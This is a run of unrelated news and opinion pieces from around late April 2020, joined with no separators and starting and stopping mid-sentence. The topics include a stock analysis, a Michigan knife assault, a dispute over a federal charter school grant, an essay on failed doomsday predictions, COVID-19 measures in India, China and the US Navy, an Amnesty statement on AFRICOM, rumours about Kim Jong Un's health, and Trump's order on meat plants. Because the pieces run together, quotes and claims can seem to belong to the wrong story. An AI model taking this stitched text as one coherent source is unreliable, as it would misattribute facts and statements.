company is reinvesting heavily into its business, and at a high rate of return. Unsurprisingly, this has led to an impressive earnings growth. Having said that, the company's earnings growth is expected to slow down, as forecasted in the current analyst estimates. Are these analysts expectations based on the broad expectations for the industry, or on the company's fundamentals? Click here to be taken to our analyst's forecasts page for the company. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. SAGINAW, MI Police in Saginaw Township allege a disgruntled ex-employee of an auto dealership cut a former coworker with a knife. Police responded to the incident about 8:50 p.m. on Monday, April 27, at American Auto Group, located at 2936 Bay Road. Apparently, an ex-employee who had been terminated from the business returned, said Saginaw Township Police Chief Donald F. Pussehl Jr. Were not certain what he was up to. A 49-year-old male employee saw the former employee and exited the business to confront him. At that time, the suspect swung a knife at him and cut him several times, Pussehl said. The victim suffered slash wounds to his back, arm, and hand, the chief said. A second current employee then came outside, prompting the assailant to flee on foot. Police set up a perimeter around Bay and Shattuck roads. A Michigan State Police K9 unit arrived to assist and ended up tracking the suspects trail to a field behind the nearby Walgreens at 2990 Bay Road, Pussehl said. Within 15 minutes of the initial incident, police found the 36-year-old suspect hiding in the field and arrested him on a charge of assault with intent to murder. The victim was taken to an area hospital for treatment of non-life-threatening wounds, Pussehl said. The suspects name is being withheld pending arraignment in Saginaw County District Court. A U.S. congressman is demanding answers from the U.S. Education Department, alleging department employees complained to his office about political interference in the awarding of a multimillion-dollar federal grant to the controversial IDEA charter school network. Rep. Mark Pocan, D-Wis., sent a letter to the department Monday asking for details and records related to the awarding of the grant. In an interview, Pocan said "three whistleblowers" told his office that professional staff evaluating applications for 2020 grants from the federal Charter School Program had rejected IDEA for new funding, deeming the network "high risk" because of how IDEA leaders previously spent federal funds. But according to these whistleblowers, Pocan said, professional staff was overruled by political appointees who ordered the funding be awarded to IDEA. The identities of the whistleblowers were not revealed to The Washington Post, nor were the names of the political appointees. The Education Department did not respond to a request for comment. Neither did IDEA, which is a Texas-based charter school network with nearly 100 campuses in Texas and Louisiana serving nearly 53,000 students. Charter schools are publicly funded but privately operated. Earlier this month, the Education Department announced it was awarding millions of dollars in new grants to charter schools. IDEA was the top recipient, receiving $72 million over five years. IDEA had previously received more than $200 million in funding over the past decade through the program. But the network has been dogged by controversy. This month, IDEA chief executive Tom Torkelson resigned after publicly apologizing for "really dumb and unhelpful" plans that included leasing a private jet for millions of dollars and spending hundreds of thousands of dollars on San Antonio Spurs tickets. The Texas Monitor reported last month that Torkelson had flown on a private jet to Tampa to meet with DeVos to discuss "education philanthropy," records show. The Monitor reported he was the only passenger on a jet that can hold nine people. Last November, the Education Department's inspector general criticized IDEA in an audit of data IDEA included in annual performance reviews it submitted to the federal government, required as part of the grants received from the federal Charter Schools Program. The inspector general concluded that IDEA Public Schools "did not provide complete and accurate information" for all performance measures on annual performance reports over three years and did not report any information for 84% of the performance measures on which it was required to report over two years. Still, IDEA had certified its annual performance reports were "true, complete and accurate." The audit also found IDEA "did not always spend grant funds in accordance with federal cost principles and its approved grant applications." IDEA acknowledged some of the findings, took issue with others, and agreed with all the recommendations from the inspector general to improve internal procedures. That inspector general report, together with the suggestion that political appointees pushed through more grant money, should spark an even deeper inspection of IDEA, Pocan said in an interview. "There needs to be an investigation," Pocan said. "This would be completely improper to take a program that has to have inspector general reports and a lot of media attention about bad decisions they've made, and then to get a grant that wasn't approved by the professional staff and instead given for political reasons." "That's an awful lot of money," he said. "DeVos has a lot of explaining to do." Pocan's letter says: (BEG ITAL)Therefore, I wish to know the following: 1) Was any 2020 awardee initially ruled ineligible by any Department staff? If so, which awardees and for what reasons? 2) If any 2020 awardee was initially ruled ineligible, but subsequently awarded a grant, was a political appointee involved in the change of decision in any manner? If so, whom? 3) How many instances of changes in CMO eligibility determinations have occurred in the past three years? I request responses to these questions, as well as every communication to or by a Department employee pertaining to the 2020 Charter School Grants to CMOs for the Replication and Expansion of High-Quality Charter Schools Competition, or any awardee, by May 8, 2020. The House Appropriations Committee must be aware of any improprieties within the Department, or this program, before considering fiscal year 2021 legislation. (END ITAL) In late February, DeVos testified before the House Appropriations Committee's subcommittee for labor, health and human services, education and related agencies, where she defended the Trump administration's proposed 2021 Education Department budget. She had several testy exchanges with Democratic leaders, including with Pocan about charter schools. In light of COVID-19, its almost impossible to go on social media without encountering theories of doom and predictions of the apocalypse. Is this part of the beginning of the end? Are there parallels in Revelation? Has the time come? Were not the first people to ask these questions. It would be nearly impossible to cover all the times that entire societies thought they were facing the end of the world, whether from war, famine, plague, fire, or even heavenly disaster. Christians often seem to be the first to jump to end times conclusions. Now, as always, there are those who have, what seem to be, a great amount of biblical evidence to back up their claims. Are they right this time? To take our current situation into a better perspective, lets consider some of the major times in history when Christians thought the end was upon them. Many New Testament Christians Thought the End Was Nigh The time of Jesus return was not an uncommon source of questioning in the early church. Jesus had said He would return, and many interpreted that as soon. In fact, they began to worry about when Christians died before Christ returned for them what would happen (1 Thessalonians 4:13). However, Paul assured these Christians that those who had died would rise in Christ. Writers like Paul reminded readers to continue living their lives in a way that honored God, not sitting and waiting for Christs return. Paul writes in 1 Thessalonians 5:1-2, Now, brothers and sisters, about times and dates we do not need to write to you, for you know very well that the day of the Lord will come like a thief in the night. Eventually, the early Christians realized that Christs return might be quite a while in the future though they may not have come close to guessing just how far away that future would be. The Rise of Islam Was Thought to Herald the End In the 13th century, Pope Innocent III built an argument for a fifth crusade on the logic that the rise of Islam heralded the beginning of the end. In a papal bull in April of 1213, he wrote, A son of perdition has arisen, the false prophet Muhammed, who has seduced many men from the truth by worldly enticements and the pleasures of the flesh we nevertheless put our trust in the Lord who has already given us a sign that good is to come, that the end of this beast is approaching, whose number, according to the Revelation of Saint John, will end in 666 years, of which already nearly 600 have passed. With Muhammad as the antichrist, Pope Innocent III proclaimed a Second Coming in 1284. Unfortunately, the pope died in 1216, long before he could see his prediction come to pass or rather, not come to pass. Plague, Famine, Economic Spiral, and War The 14th Century End of the World The 14th century in Europe was one crisis after another. Changes in climate resulted in devastating crop failures, especially with the growth of monoculture, causing 11 years of what was called The Great Famine, the effects of which would be felt long after its beginning in 1311. The Famine, as well as the rise of Mamluks, Ottomans, and Mongols, hurt trade. Population rose, but farm technology didnt grow with it. Farmers and lords alike defaulted, and major Italian banks collapsed. Rural folk moved to cities when farms struggled, overwhelming city structure and resulting in crowds of beggars, food riots, and factional violence, while urban crowding resulted in dysentery, cholera, tuberculosis, and more. War raged in all corners in what was the most war-torn century to date Germans vs. Italy, Germany vs. Germany, Catalans vs. Greece, Aragon vs. Sardinia and Granada, Leon-Castile vs. Muslim Spain, the French vs. the Burgundians, the Hundred Years War, the War of the Roses, the Ottomans vs. the Byzantines, North African rivalries, and so much more. But the worst of all was the plague. The Black Death that ravaged 14th -century Europe has had no precedent, nor has a pandemic so terrible ever risen again since. Modern scholarship indicates that as much as 60% of the population of Europe was wiped out. The plague traveled fast, and most who caught it died within three days. Death ships drifted, crewless. Pits were dug as mass graves, filled as quickly as they could be dug. An Irish monk, describing the situation in 1349, wrote that he was leaving the record in case anyone should still be alive in the future. The art and writing of the time reflected morbidity and much speculation about the nearness of the end times. It would take hundreds of years for population levels to return to normal. And yet, even this was not the end of the world. The Great Fire of London and the Number of the Beast In Revelation, the number 666 is associated with the beast (Revelation 13:18). Because of this, there were theories that the world would end in 1666. After the outbreak of the Great Plague in 1665-1666 another outbreak of the bubonic plague, believed to have killed a sixth of Londons population the city of London went up in flames September 2 to September 6, 1666. The fire destroyed over 13,000 homes, 87 parish churches, St. Pauls Cathedral, and practically all of the City of London inside the old Roman city wall, leaving tens of thousands homeless. Plague and fire seemed straight out of Revelation. Yet, once again, the world didnt end. No One Knows the Time Halleys Comet. World War II. The Atomic Age. Y2K. The Mayan Apocalypse of 2012. Not to mention the hundreds of individuals, cult leaders, and movements who have also predicted the end. It seems to be in our human nature to panic and cling to cries of doom and gloom. This is especially a response in times of local or global turmoil. However, the Bible is clear that when the end does come, it will be unexpected and unpredictable. Paul said that it would come like a thief in the night (1 Thessalonians 5:2). Jesus, on earth, said that even He did not know. But about that day or hour no one knows, not even the angels in heaven, nor the Son, but only the Father (Mark 13:32). Trying to predict the end, then, is fruitless. We cannot know. Be Awake and Sober Panicking and speculating are the opposite of what the Bible tells us to do. Instead, we are told to live lives of readiness, behaving in a manner that would be fitting the return of Christ. In Luke 12:35-48, Jesus likens this to servants awaiting their masters return. They dont know if their master will return at midnight or midday, but the wise servants conduct themselves well in their duties, so they are ready whenever he returns. Note that the wise servants are not panicking and worrying about when the master will return. We are not to worry, but instead to be ready at all times by doing the will of God. In 1 Thessalonians 5:6, Paul charges the believers to be awake and sober. In the fear that followed the advent of the atomic bomb, C. S. Lewis offered timely words on living in fear of the end: In one way we think a great deal too much of the atomic bomb. How are we to live in an atomic age? I am tempted to reply: Why, as you would have lived in the sixteenth century when the plague visited London almost every year, or as you would have lived in a Viking age when raiders from Scandinavia might land and cut your throat any night; or indeed, as you are already living in an age of cancer, an age of syphilis, an age of paralysis, an age of air raids, an age of railway accidents, an age of motor accidents. In other words, do not let us begin by exaggerating the novelty of our situation. Believe me, dear sir or madam, you and all whom you love were already sentenced to death before the atomic bomb was invented: and quite a high percentage of us were going to die in unpleasant ways This is the first point to be made: and the first action to be taken is to pull ourselves together. If we are all going to be destroyed by an atomic bomb, let that bomb when it comes find us doing sensible and human things not huddled together like frightened sheep and thinking about bombs. They may break our bodies (a microbe can do that) but they need not dominate our minds (On Living in an Atomic Age (1948) in Present Concerns: Journalistic Essays). What Does This Mean? We cant control when the end comes. We cant even predict it. However, there is one thing we can do: Be faithful followers of Christ regardless of the situation. And that is what we have been called to do. Other Doomsday Predictions: The Smithsonian: Ten Notable Apocalypses that (Obviously) Didnt Happen History.com: Apocalypses that Werent Britannica: 10 Failed Doomsday Predictions iStock/Getty Images Plus/LiliGraphie Alyssa Roat studied writing, theology, and the Bible at Taylor University. She is a literary agent at C.Y.L.E., the publicity manager at Mountain Brook Ink, and a freelance editor with Sherpa Editing Services. She is the co-author of Dear Hero and has 200+ bylines in publications ranging from The Christian Communicator to Keys for Kids. Find out more about her here and on social media @alyssawrote. Government think-tank Niti Aayog sealed its office in New Delhi on Tuesday after an employee tested positive for the coronavirus disease (Covid-19), according to officials. Niti Aayog is following all protocols as per the ministry of health guidelines. The building has been sealedsanitisation of the building is underway, a senior Niti Aayog official who did not want to be named said. Contacts of the person, a director-level official who got his report around 9am on Tuesday morning, have been asked to go on self-quarantine. The Niti Aayog office will be sealed for a couple of days. All officers of NITI Aayog are functional, available and currently working from home. As per the protocol of the Ministry of Health, the NITI Bhavan will resume normal operations after 48 hours, Niti Aayog tweeted later in the day Also Watch: Covid-19 | Niti Aayog office sealed after employee tests positive The body is tasked with leading some of the 11 empowered groups formed by the Union government to deal with the pandemic. On April 22, the ministry of ministry of civil aviation sealed its headquarters at Rajiv Gandhi Bhawan in New Delhis Jor Bagh after an employee tested positive for Covid-19. The civil aviation ministry staffer was the first person in a central ministry to have contracted the infection. The office reopened on Monday. TThe @MoCA_GoI office at Rajiv Gandhi Bhawan is sanitized, safe, up & reopened. It was sealed after one of our colleagues tested positive for #COVID19 on 21st April. After operating from Nirman Bhawan & Udhyog Bhawan for a while, I worked out of my Civil Aviation office today, Union civil aviation minister Hardeep Puri tweeted on Monday. According to home ministry guidelines issued after the extension of the national lockdown until May 3, the government has ordered a phased return to office of central government ministry officials. The new guidelines call for 100% attendance by officers above the deputy secretary level and 33% attendance by junior staff. The sweeping curbs were first imposed on March 25 for 21 days, and then extended by 19 days till May 3. Source: Xinhua| 2020-04-29 00:12:00|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- Chinese State Councilor and Defense Minister Wei Fenghe on Tuesday spoke over the phone with Lao Defense Minister Chansamone Chanyalath on COVID-19 prevention and control. Wei expressed China's firm support to Laos' efforts to battle the epidemic, saying China is willing to work with Laos to exchange information in time and strengthen border control to jointly curb the spread of the epidemic. Chansamone expressed sincere thanks for the aid China has offered Laos in fighting the epidemic, saying Laos is willing to maintain close cooperation with China and jointly overcome the epidemic. Enditem Contact tracing to rapidly isolate people who could be infected with coronavirus disease 2019 (COVID-19) reduced the length of time people were infectious in the community over 4 weeks (from 14 January to 12 February 2020) in Shenzhen, China, according to results from 391 cases and 1,286 of their close contacts, published in The Lancet Infectious Diseases journal. In Shenzhen, authorities identified who to isolate based on their contact with confirmed cases, as well as isolating people who already had symptoms. The new study finds that contact tracing increased the speed at which new cases were confirmed by 2 days (an average of 5.5 days initially, reduced to 3.2 with contact tracing). It also reduced the amount of time it took to isolate infected people by 2 days (from an average of 4.6 days down to 2.7). There were only three deaths in the study group during the study period. On January 8, 2020, authorities began to monitor travellers from Hubei province for symptoms such as a fever and cough, and after 2 weeks expanded to monitor people without symptoms as well as the wider community. Suspected cases and their close contacts provided nasal swabs, which were tested for coronavirus at 28 local hospital and 12 other centres. People with symptoms were isolated and treated in hospital before their test results were known, and those without symptoms were quarantined at dedicated facilities. Close contacts who tested negative were quarantined at home or in a dedicated facility and monitored for 14 days. During the study period, the reproductive number among observed cases was 0.4, far below the threshold of 1 required for incidence to decline. However, since this was only among traced contacts the true reproductive number was likely higher, though the end of the local outbreak suggests it also was below 1. "The experience of COVID-19 in the city of Shenzhen may demonstrate the huge scale of testing and contact tracing that's needed to reduce the virus spreading," says Dr Ting Ma from the Harbin Institute of Technology at Shenzhen, China. "Some of the strict control measures enforced here, such as isolating people outside their homes, might be unlikely to be replicated elsewhere, but we urge governments to consider our findings in the global response to COVID-19. To achieve similar results, other countries might be able to combine near-universal testing and intensive contact tracing with social distancing and partial lockdowns. Although no lockdown measures were introduced in Shenzhen until the end of our study period, Wuhan's lockdown could have significantly restricted the spread of coronavirus to Shenzhen." For the current study, the authors analysed data from 391 people diagnosed with COVID-19 after they showed symptoms, and 1,286 of their close contacts. The contacts were tested irrespective of whether they had symptoms in order to identify infected people who were asymptomatic. The data gave insights into the type of contact most likely to lead to transmission. Close contacts were defined as people who shared a household with infected patients up to 2 days before they started showing symptoms, or interacted with them socially by travelling or eating together. advertisement For people who were isolated because they showed symptoms of COVID-19, it took an average of 4.6 days for them to be isolated following the first signs of infection. Contact tracing reduced this to an average of 2.7 days. For people diagnosed with COVID-19 after being contact traced and tested (87 people), a fifth (17 out of 87 people) had not yet developed any symptoms, and 30% (25 out of 87) did not have a fever. Contact tracing also reduced the length of time between someone first experiencing symptoms and being diagnosed. It took an average of 5.5 days if people were only tested after they reported symptoms, but with contact tracing there was only a delay of an average of 3.2 days between the first symptoms and a confirmed diagnosis. The length of time for which a person remains infectious is not yet known, but reducing the amount of time that infected people interacted with others appears to have helped reduce the virus spreading. In this study, transmission was most likely between people who shared a household, but not all close contacts caught COVID-19, with only 11% of close contacts of this kind developing the disease. Of close contacts who travelled together with an infected person (for example on a plane, bus, train or boat), an average of 6% developed the disease. Of close contacts who shared a meal with an infected person, an average of 9% developed the disease. The authors note that these transmission rates will be higher in other countries, where measures such as isolation outside the home might not be as strict or rapid. These data do not give any insights into why some cases cause higher levels of transmission than others. The study also provided results on the likelihood of infection by age group, the severity of symptoms according to age group, the incubation period before symptoms began, and the recovery time or time to death. The results were consistent with those from previous studies. The authors highlight several limitations to their study, including that it is impossible to trace every potential contact an individual has. Contact tracing therefore focuses on close contacts who are most likely to be infected. They note that some infected travellers to Shenzhen could have been missed if they were only tested due to symptoms such as a fever. Their contacts might also have been missed if they were asymptomatic, because the PCR test is not sensitive enough to pick up every case. Writing in a linked Comment, lead epidemiologist Dr Cecile Viboud (who was not involved in the study) from the National Institutes of Health, USA, says: "As we look towards post-lockdown strategies, we should examine the experience of countries that have successfully controlled SARS-CoV-2 transmission or have low mortality (eg, China, Singapore, Taiwan, South Korea, Germany, and Iceland). Successful strategies include ample testing and contact tracing, supplemented by moderate forms of social distancing. Contact tracing on the scale that is needed for the SARS-CoV-2 response is labour intensive, and imperfect if done manually. Hence new technology-based approaches are greatly needed to assist in identification of contacts, especially if case detection is aggressive. Building on the SARS-CoV-2 experience in Shenzhen and other settings, we contend that enhanced case finding and contact tracing should be part of the long-term response to this pandemic -- this can get us most of the way towards control." This study was funded by the Emergency Response Program of Harbin Institute of Technology, the Emergency Response Program of Peng Cheng Laboratory and the US Centers for Disease Control and Prevention. It was conducted by researchers from Johns Hopkins Bloomberg School of Public Health, Shenzhen Center for Disease Control and Prevention, Harbin Institute of Technology at Shenzhen, and Peng Cheng Laboratory, Shenzhen. Mumbai Police personnel older than 55 and suffering from poor health have been sent on leave after a head constable died of the coronavirus on Monday--the third of the force to succumb to the disease in four days. "During analysis, it came to light that the three deceased and the other police personnel currently undergoing treatment for coronavirus disease were above the age of 50," a senior Mumbai Police official told PTI on Tuesday. "In view of this, we have decided to protect our policemen and officers - who are above 55 years of age and having some pre-existing ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor Our City Hall budget department has worked with a lot of the other agencies and departments including the Police Department to come up with reasonable overtime budgets that they should allocate on a monthly basis, Lightfoot said. I think what the superintendent is doing is wholly consistent with the message that we have sent all city departments, which is we cant continue to spend overtime dollars like drunken soldiers, particularly not when departments like the Police Department have more than enough personnel to be able to get the job done. The Navy is throwing extra money at some sailors willing to extend their time at sea or head back earlier than planned -- all while the service struggles to control coronavirus outbreaks on ships. The Navy announced this month that it's expanding its Sea Duty Incentive Pay program, giving sailors in nearly two dozen ratings the chance to pocket hundreds more dollars per month. The special pay is meant to encourage sailors to voluntarily fill gapped billets by remaining at sea past their scheduled tour or cutting short their shore duty. "The move was done to ensure the Navy continues to fill operational requirements for sea-going commands, particularly in this challenging time brought on by the COVID-19 pandemic," a Navy news release announcing the latest incentives states. Related: Thousands More Sailors May Get Re-Up Cash as Navy Expands 2020 Bonuses Ships are proving to be tough places to live during a global pandemic, though. Tight living conditions are unsurprisingly giving the highly contagious novel coronavirus the chance to spread among some crews. The destroyer Kidd is the latest deployed warship to see COVID-19, the illness caused by the coronavirus, spreading among its crew. As of Monday, there were 47 cases among the crew, leading to the medical evacuation of two sailors. The ship, which was operating in the Caribbean Sea, is now headed back to port. There are nearly 1,000 COVID-19 cases on the aircraft carrier Theodore Roosevelt. That ship has been nearly evacuated as it remains sidelined in Guam. Several of those sailors have been hospitalized and one died as a result of the disease. The monthly rate for Sea Duty Incentive Pay depends on rating and pay grade, but can pay up to $1,000 monthly. Some of the latest to be offered incentives include chief petty officers serving as aircrew survival equipmentmen or hull technicians and petty officers third class serving in cryptologic technician ratings. The latest changes offer sailors in certain ranks and jobs between $400 and $700 extra per month. The full list can be viewed here. Sailors receive their Sea Duty Incentive Pay in a lump sum. Those extending their sea duty must agree to at least another year past their scheduled tour. -- Gina Harkins can be reached at gina.harkins@military.com. Follow her on Twitter @ginaaharkins. Read more: Navy Cancels Advancement Exams for 20,000 Sailors Reacting to the publication today of US Africa Commands (AFRICOM) first quarterly assessment of civilian casualties resulting from its operations in Africa, which acknowledges that two Somali civilians were killed and three injured in an air strike, Seif Magango, Amnesty Internationals Deputy Regional Director for Eastern Africa, said: This first regular public report acknowledging AFRICOMs role in civilian casualties is a welcome glimmer of transparency in more than a decade of deadly military operations that until now have been shrouded in secrecy. Now there must be accountability and reparation for the victims and their families the US military has still neither contacted nor offered reparation to the families of any of the civilians it has admitted to killing. There also needs to be an analysis of a wider range of strikes than those covered in this report, which leaves out dozens of strikes by only looking at the period after 1 February 2019. A year ago, following a ground-breaking Amnesty International report, AFRICOM pledged to review all of its operations in Somalia to assess whether it had misreported civilian casualties, but it has still not made the results public. Its a positive step for AFRICOM to give bereaved Somali families the opportunity to self-report civilian casualties via its website. However, this will not serve the vast majority of impacted civilians who live in remote areas where smartphones are banned and internet access is poor. Alternative means should be made available, including through establishing a mechanism in Mogadishu to allow clan elders or elected representatives to speak on behalf of civilians whose loved ones have been killed by US airstrikes. Background Todays AFRICOM report reviews 91 air strikes it carried out in Somalia between 1 February 2019 and 31 March 2020. Out of 27 alleged civilian casualty incidents in that period citing media reports as well as independent NGO reports from Amnesty International and others the report closes 20 incidents and leaves seven open and under review. Among these are two covered in an Amnesty International investigation released earlier this month. Through gathering extensive testimonial evidence and expert analysis of images and video from strike sites, satellite imagery, and weapons identification, Amnesty International has investigated nine separate cases since 2017 where US air strikes have killed a total of 21 civilians and injured 11 more. Some of these involved to apparent violations of international humanitarian law. In contrast, AFRICOM has now admitted to a total of just four civilian deaths and three injuries in two incidents. For more of Amnesty Internationals reporting on civilian casualties from US air strikes in Somalia, please see: Somalia: Zero accountability as civilian deaths mount from US air strikes (1 April 2020) US military shows appalling disregard for civilians killed in Somalia air strike (30 September 2019) USA/Somalia: Shroud of secrecy around civilian deaths masks possible war crimes (20 March 2019) North Korean leader Kim Jong Un speaks as he takes part in a meeting of the Political Bureau of the Central Committee of the Workers' Party of Korea (WPK) in this image released by North Korea's Korean Central News Agency (KCNA) on April 11, 2020. KCNA via Reuters Kim Jong Un was last seen presiding over a meeting on April 11. Since missing a celebration commemorating his grandfather on the 15th before reports surfaced that he underwent cardiovascular surgery, questions about his health and whereabouts have circulated. While there have been unconfirmed reports of his poor health and even death, South Korea media reported that a recent note written by Kim proves he's alive. Visit Business Insider's homepage for more stories. It remains unclear if Kim Jong Un is alive or dead, but North Korea state media is using a thank-you note supposedly written by their supreme leader to prove the former, according to a South Korean press agency. North Korean state media reported Monday that the note was recently sent to the builders of a tourist zone near where Kim's personal train was reportedly seen in recent days, according to the South Korea-based Yonhap News Agency. "Supreme Leader Kim Jong-un has sent his appreciation to the workers who devoted themselves to building the Wonsan-Kalma tourist zone," the Rodong Sinmun, the North's main newspaper, said, echoing reporting from the Korean Central Broadcasting Station. Questions about Kim's health, or whether he's even alive, have been circulating since CNN first reported on April 21 that he was in "grave danger" after cardiovascular surgery. It was also noted that Kim, who is thought to be around 36, didn't appear at a celebration commemorating the 108th birthday of his grandfather, Kim Il-Sung, a week earlier. North Korean state media have recently put out reports of Kim sending diplomatic letters and gifts, but there have been no reports on the leader's "field guidance" trips or photos of his public activities for more than two weeks, according to Yonhap News. South Korean officials, however, have since said that Kim is well and believed to be staying in the Wonsan region of the country. Story continues A North Korean monitoring project, 38 North, has also said a recent report that Kim's personal train was parked at a "leadership station" in Wonsan on April 21 and April 23. The station is reserved for the use of the Kim family, the report said. "The train's presence does not prove the whereabouts of the North Korean leader or indicate anything about his health, but it does lend weight to reports that Kim is staying at an elite area on the country's eastern coast," North Korean state media reported, according to Yonhap News. The Wonsan-Kalma tourist zone is one of Kim's key pet construction projects, the South Korean news agency reported. Kim, who sent a similar thank-you message to the workers in February, has sought to develop the North's tourism in an effort to beef up an economy faltering under international sanctions. Wonsan occupies a special role in North Korean politics, acting as both a luxury getaway for elites and a testing ground for missile, artillery, and other military tests. Read the original article on Business Insider The government has updated the list of hotspots across the country after a secretary level video conference meeting on April 30 with the states for the week after May 3. As per a letter released by the Union Health Ministry, "The districts were earlier designated as hotspots / red-zones, orange zones and green zones primarily based on the cumulative cases reported and the doubling rate. Since recovery rates have gone up, the districts are now being designated across various zones duly broad-basing the criteria." Based on the new guidelines issued by the Ministry of Health, all districts in the country have been classified as hotspots and non-hotspots based on whether or not confirmed COVID-19 cases have been reported there. Moreover, it says that the classification is multi-factorial and takes into consideration incidence of cases, doubling rate, extent of testing and surveillance feedback to classify the districts. A district will be considered under Green Zone, if there are no confirmed cases so far or there is no reported case since last 21 days in the district. COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show Here is the letter outlining the zones according to states: But, what are these hotspots and non-hotspot areas? And, what are the red, orange and green zones as often described in news reports? Heres all you need to know: Hotspots, non-hotspots and non-infected districts have been interchangeably used as red, orange and green zones, respectively. Hotspots/Red zones These are areas reporting a large number of cases or high growth rates such as Mumbai and Pune in Maharashtra, New Delhi or Indore in Madhya Pradesh. Inclusion criteria:> Highest case-load districts contributing to over 80 percent of cases in India, or> Highest case-load districts contributing to more than 80 percent of cases for each state in the country, or > Districts with doubling rate at less than four days (calculated every Monday for last seven days, to be determined by the state government). On April 15, there were 170 hotspots in the country. This included 123 hotspot districts with large outbreaks and 47 hotspot districts with clusters. Is your city a COVID-19 hotspot? Find out here (as of April 28) Orange zones Districts that do not have enough confirmed cases to meet the red zone, but are being seen as potential hotspots, are part of the orange zone. On April 15, there were 207 non-hotspot districts in the country with clusters. A hotspot can be categorised as a non-hotspot area if no new confirmed case is reported there for 14 consecutive days. Further, a non-hotspot area can become a green zone if no new confirmed case is reported for 14 consecutive days. Thus, a red zone can potentially become a green zone if no new cases are reported for 28 consecutive days. Follow our LIVE blog for the latest updates of the novel coronavirus pandemic MHA has said, containment operation would be deemed over when there is no case reported in 28 days from an area after the last case tests negative. Lockdown restrictions related to agriculture and industrial activities were eased to some extent in some non-hotspots and green zones of the country on April 20. WASHINGTON - President Donald Trump took executive action Tuesday to order meat processing plants to stay open amid concerns over growing coronavirus cases and the impact on the nation's food supply. Hey there, time traveller! This article was published 28/4/2020 (624 days ago), so information in it may no longer be current. President Donald Trump speaks during a meeting with Gov. Ron DeSantis, R-Fla., on the coronavirus response, in the Oval Office of the White House, Tuesday, April 28, 2020, in Washington. (AP Photo/Evan Vucci) WASHINGTON - President Donald Trump took executive action Tuesday to order meat processing plants to stay open amid concerns over growing coronavirus cases and the impact on the nation's food supply. The order uses the Defence Production Act to classify meat processing as critical infrastructure to try to prevent a shortage of chicken, pork and other meat on supermarket shelves. Unions fired back, saying the White House was jeopardizing lives and prioritizing cold cuts over workers' health. More than 20 meatpacking plants have closed temporarily under pressure from local authorities and their own workers because of the virus, including two of the nation's largest, one in Iowa and one in South Dakota. Others have slowed production as workers have fallen ill or stayed home to avoid getting sick. Such closures threaten the continued functioning of the national meat and poultry supply chain, undermining critical infrastructure during the national emergency," the order states. The United Food and Commercial Workers International Union, which represents 1.3 million food and retail workers, said Tuesday that 20 food-processing and meatpacking union workers in the U.S. have died of the virus. An estimated 6,500 are sick or have been exposed while working near someone who tested positive, the union says. As a result, industry leaders have warned that consumers could see meat shortages in a matter of days. Tyson Foods Inc., one of the worlds largest food companies, ran a full-page advertisement in The New York Times and other newspapers Sunday warning, The food supply chain is breaking. As pork, beef and chicken plants are being forced to close, even for short periods of time, millions of pounds of meat will disappear from the supply chain, it read. Tyson suspended operations at its pork plant in Waterloo, Iowa after a slew of infections, and Smithfield Foods halted production at its plant in Sioux Falls, South Dakota, after an outbreak infected 853 workers there. The 15 largest pork-packing plants account for 60% of all pork processed in the U.S., and the country has already seen a 25% reduction in pork slaughter capacity, according to UFCW. President Donald Trump listens during a meeting with Gov. Ron DeSantis, R-Fla., on the coronavirus response, in the Oval Office of the White House, Tuesday, April 28, 2020, in Washington. (AP Photo/Evan Vucci) A senior White House official said the administration was trying to prevent a situation in which a vast majority of the nation's meat processing plants might have temporarily closed operations, reducing the availability of meat in supermarkets by as much as 80%. The official, who spoke on condition of anonymity to discuss the order before its release, said the White House was also working with the Labor Department to provide enhanced safety guidance for meatpacking workers. That will include trying to minimize the risk to workers who may be prone to serious complications from the virus, including strongly recommending those over the age of 65 and with preexisting conditions stay home. The order, which was developed in consultation with industry leaders including Tyson and Smithfield, is designed, in part, to provide companies with additional liability protections in case workers get sick. Trump on Tuesday said the order would address what he described as a legal roadblock." It will solve any liability problems where they had certain liability problems and well be in very good shape." But UFCW International President Marc Perrone said that more must be done to protect the safety of workers. Simply put, we cannot have a secure food supply without the safety of these workers, he said in a statement, urging the administration to immediately enact clear and enforceable safety standards and compel companies to provide protective equipment, make daily testing available to workers, and enforce physical distancing, among other measures. Stuart Appelbaum, president of the Retail, Wholesale and Department Store Union, said the administration should have acted earlier to put safety measures in place. We only wish that this administration cared as much about the lives of working people as it does about meat, pork and poultry products," he said. And Kim Cordova, president of UFCW Local 7, which represents 3,000 workers at the JBS meat processing plant in Greeley, Colorado, said the order will only ensure that more workers get sick, jeopardizing lives, familys income, communities, and of course, the countrys food supply chain. The administration is working with companies to 